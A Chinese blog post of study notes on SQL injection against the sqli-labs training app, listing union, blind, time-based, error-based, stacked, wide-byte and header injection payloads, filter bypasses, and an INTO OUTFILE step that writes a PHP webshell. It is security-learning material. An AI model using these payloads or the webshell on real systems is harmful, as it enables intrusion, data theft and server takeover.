您的位置:首页 > 数据库

渗透测试之sqlilab基础(二)Sql注入

2020-01-12 10:33 573 查看

1.   sql注入的常见漏洞类型

[code]Web      phpmyadmin

Client   navicat       详见https://www.mrwu.red/web/1422.html

Mysql    安全配置       参考https://www.jianshu.com/p/7dcaf4c616b0

Mysql    本身漏洞       Cve-2012-2122  https://www.freebuf.com/vuls/3815.html

Cve-2016-6663  https://www.jianshu.com/p/7a50d424adb1

Cve-2016-6662  http://avfisher.win/archives/tag/cve-2016-6662
通过注入写webshell 有时候webshell的权限是最高(变向的提权操作)

2.   MySQL

MySQL的基本操作 增删改查

MySQL的库

mysql > 5.0 information_schema 从information_scheam 的库中去读取

mysql < 5.0 没有information_schema的库 利用猜解法或者布尔值方法   类似于access注入

 

3.   sql注入类型

  union注入

[code]找到报错点 类似于加'等操作

进行注入 判断 and 1=1 and 1=2 布尔值去判断

Select * from users where id=1 and 1=1

爆字段和显位  爆字段(order by)    显位(前面值改为负的 -)

再次从information_schema.schemata tables columns 等表中读出数据 详细参考第一关

 布尔盲注

[code]测试页面只有两种结果 语句正确一种状态 语句不正确另一种状态 没有显示出查询的数据

substr() acsii() order()  mid()  substring() left() right()

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT
0,1),1,1))>98%23        //ORD()函数,MID()函数

http://192.168.20.145/sqlilabs/less-4/?id=1' and length(database())=8--+

……

  时间盲注

[code]sleep()

benchmark(50000,md5(1)) 运行md5(1)前面的次数 得出一个粗略的时间

if(a,b,c) a为条件表达式 如果a成立 执行c 否则返回b

less 9 GET - Blind - Time based. -  Single Quotes  (基于时间的GET单引号盲注)

http://localhost/sqli-labs/Less-9/?id=1' and sleep(5) %23

http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

脚本的编写

参考http://klausvon.cn/2018/02/19/sqlilabs-Less-5~6/

注意点:dnslog注入

  报错注入

[code] updatexml() extractvalue()

exp()   select exp(~(select * FROM(SELECT USER())a))

name_const()   select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

floor() Select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))

 堆叠注入

[code]只有 mssql 和部分 mysql(需要api)支持堆叠注入

http://192.168.20.145/sqlilabs/less-x/?id=1;insert into users(id,username,password)value(20,'test','test')--+

 宽字节注入

[code]注意ascii   unioncode编码(utf-8)    gbk/gb2312等中文编码的区别

https://jingyan.baidu.com/article/020278118741e91bcd9ce566.html

利用特性构造汉字 %udf

对处理mysql_real_escap_string()还有addlashes()函数有绕过

  特殊字符的过滤:敏感词的替换和双写绕过、特殊字符特性

  特殊字符特性  %0a %0d %0c %09 %08 %00 等系统字符特性 详见waf绕过系统特性

  系统特性:hpp参数特性  tomcat 处理第一个参数 apache处理最后一个参数 参考29-31关

 

 4.   提交方法

GET

POST  登录框居多(爆破、注入)

 5.   注入位置

useragent cookie refer 注入

update/delete/insert/ 参考18关的user-agent注入

Order by 注入参考第46关

[code]http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)
http://192.168.20.145/sqlilabs/less-46/?sort=rand(0)
http://192.168.20.145/sqlilabs/less-46/?sort=rand(1)  通过rand(1)构造语句

报错语句
http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

布尔语句
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

写文件
http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22 lines terminited by 0x3c3f506870204061737365727428245f504f53545b636d645d293b3f3e(网马的是十六进制)

二次注入:参考第24关 注意参数调用的位置

  拿webshell 写文件 注意事项

[code]Into outfile

Into dumpfile    可以继续追加 类似于echo >> 1.txt 不会覆盖

Union select 1,2,"<?Php @assert($_POST[cmd]);?>" into outfile "c:\\phpstudy\\www\\test.php" --+

Select * from users into outfile "c:\\phpstudy\\www\\test.php" lines terminated by 0x3c3f506870204061737365727428245f504f53545b636d645d293b3f3e

 

  • 点赞 1
  • 收藏
  • 分享
  • 文章举报
LKmnbZ 发布了42 篇原创文章 · 获赞 58 · 访问量 2070 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: